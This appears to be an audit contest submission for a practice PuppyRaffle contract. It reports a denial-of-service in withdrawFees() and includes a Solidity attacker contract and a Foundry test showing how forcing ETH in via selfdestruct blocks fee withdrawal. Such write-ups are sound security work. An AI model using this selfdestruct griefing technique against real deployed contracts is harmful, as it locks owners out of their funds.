First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Denial of Service of `withdrawFees()` via selfdestruct

zuhaibmohd

Vulnerability Details

The withdrawFees() function in the PuppyRaffle contract is vulnerable to a denial-of-service (DoS) attack. This is because the function requires the contract's balance to be equal to the total fees before withdrawing the fees to the feeAddress. An attacker can exploit this vulnerability by forcing the contract to accept ETH. This will cause the withdrawFees() function to revert, preventing the contract from functioning properly.

Proof of Concept

contract AttackerContract {
​
constructor() payable {}
​
function destruct(address payable to) public {
selfdestruct(to);
}
}
​
function testwithdrawFeesDoS_selfDestruct() public {
​
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
​
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
​
​
target = new AttackerContract{value: 0.1 ether}();
uint balanceOfAttackerContract = address(target).balance;
target.destruct(payable(address(puppyRaffle)));
​
assertEq(address(puppyRaffle).balance, puppyRaffle.totalFees() + balanceOfAttackerContract);
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Impact

A successful DoS attack could prevent/impact the ability of feeAddress to receive their share of ether winnings.

Tools Used

Foundry

Recommendations

The withdrawFees() function should be modified to check that the contract's balance is greater than or equal to the total fees, but not equal to. This will allow the contract to continue functioning even if ETH is sent to it.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!